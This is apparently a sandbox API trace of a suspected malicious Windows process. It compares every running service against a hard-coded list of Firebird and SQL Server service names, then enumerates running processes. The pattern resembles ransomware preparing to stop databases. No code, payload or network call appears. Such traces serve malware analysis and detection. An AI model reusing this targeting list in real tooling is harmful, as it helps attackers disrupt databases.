	[0171.918] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0171.918] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0171.919] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0171.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0171.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0171.919] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0171.919] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0171.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0171.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0171.919] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0171.919] lstrlenW (lpString="CryptSvc") returned 8
	[0171.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0171.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0171.919] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0171.919] lstrlenW (lpString="DcomLaunch") returned 10
	[0171.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0171.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0171.919] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0171.919] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0171.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0171.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0171.919] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0171.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0171.919] lstrlenW (lpString="Dhcp") returned 4
	[0171.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0171.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0171.920] lstrlenW (lpString="Dnscache") returned 8
	[0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0171.920] lstrlenW (lpString="DPS") returned 3
	[0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0171.920] lstrlenW (lpString="DusmSvc") returned 7
	[0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0171.920] lstrlenW (lpString="EventLog") returned 8
	[0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0171.920] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0171.920] lstrlenW (lpString="EventSystem") returned 11
	[0171.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0171.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0171.920] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0171.921] lstrlenW (lpString="FontCache") returned 9
	[0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0171.921] lstrlenW (lpString="gpsvc") returned 5
	[0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0171.921] lstrlenW (lpString="iphlpsvc") returned 8
	[0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0171.921] lstrlenW (lpString="KeyIso") returned 6
	[0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0171.921] lstrlenW (lpString="LanmanServer") returned 12
	[0171.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0171.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0171.921] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0171.921] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0171.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0171.921] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0171.922] lstrlenW (lpString="lfsvc") returned 5
	[0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0171.922] lstrlenW (lpString="lmhosts") returned 7
	[0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0171.922] lstrlenW (lpString="LSM") returned 3
	[0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0171.922] lstrlenW (lpString="MpsSvc") returned 6
	[0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0171.922] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0171.922] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0171.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0171.922] lstrlenW (lpString="NcbService") returned 10
	[0171.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0171.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0171.923] lstrlenW (lpString="netprofm") returned 8
	[0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0171.923] lstrlenW (lpString="NgcSvc") returned 6
	[0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0171.923] lstrlenW (lpString="NlaSvc") returned 6
	[0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0171.923] lstrlenW (lpString="nsi") returned 3
	[0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0171.923] lstrlenW (lpString="PcaSvc") returned 6
	[0171.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0171.923] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0171.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0171.924] lstrlenW (lpString="PlugPlay") returned 8
	[0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0171.924] lstrlenW (lpString="Power") returned 5
	[0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0171.924] lstrlenW (lpString="ProfSvc") returned 7
	[0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0171.924] lstrlenW (lpString="RpcEptMapper") returned 12
	[0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0171.924] lstrlenW (lpString="RpcSs") returned 5
	[0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0171.924] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0171.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0171.924] lstrlenW (lpString="SamSs") returned 5
	[0171.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0171.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0171.925] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0171.925] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0171.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0171.925] lstrlenW (lpString="Schedule") returned 8
	[0171.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0171.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0171.925] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0171.925] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0171.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0171.925] lstrlenW (lpString="SecurityHealthService") returned 21
	[0171.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0171.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0171.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0171.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0171.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0171.978] lstrlenW (lpString="SENS") returned 4
	[0171.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0171.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0171.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0171.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0171.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0171.978] lstrlenW (lpString="ShellHWDetection") returned 16
	[0171.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0171.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0171.979] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0171.979] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0171.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0171.979] lstrlenW (lpString="Spooler") returned 7
	[0171.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0171.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0171.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0171.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0171.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0171.979] lstrlenW (lpString="StateRepository") returned 15
	[0171.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0171.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0172.003] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0172.003] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0172.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0172.003] lstrlenW (lpString="SysMain") returned 7
	[0172.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0172.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0172.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0172.004] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0172.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0172.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0172.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0172.004] lstrlenW (lpString="Themes") returned 6
	[0172.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0172.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0172.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0172.004] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0172.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0172.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0172.004] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0172.004] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0172.004] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0172.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x54c
	[0172.008] Process32FirstW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0172.009] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0172.009] lstrlenW (lpString="System") returned 6
	[0172.009] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0172.009] lstrlenW (lpString="smss.exe") returned 8
	[0172.010] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0172.010] lstrlenW (lpString="csrss.exe") returned 9
	[0172.010] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0172.010] lstrlenW (lpString="wininit.exe") returned 11
	[0172.010] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0172.011] lstrlenW (lpString="csrss.exe") returned 9
	[0172.011] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0172.011] lstrlenW (lpString="winlogon.exe") returned 12
	[0172.011] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0172.012] lstrlenW (lpString="services.exe") returned 12
	[0172.012] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0172.012] lstrlenW (lpString="lsass.exe") returned 9
	[0172.012] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0172.013] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0172.013] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0172.013] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0172.013] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.013] lstrlenW (lpString="svchost.exe") returned 11
	[0172.014] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0172.014] lstrlenW (lpString="svchost.exe") returned 11
	[0172.014] Process32NextW (in: hSnapshot=0x54c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0172.014] lstrlenW (lpString="dwm.exe") returned 7
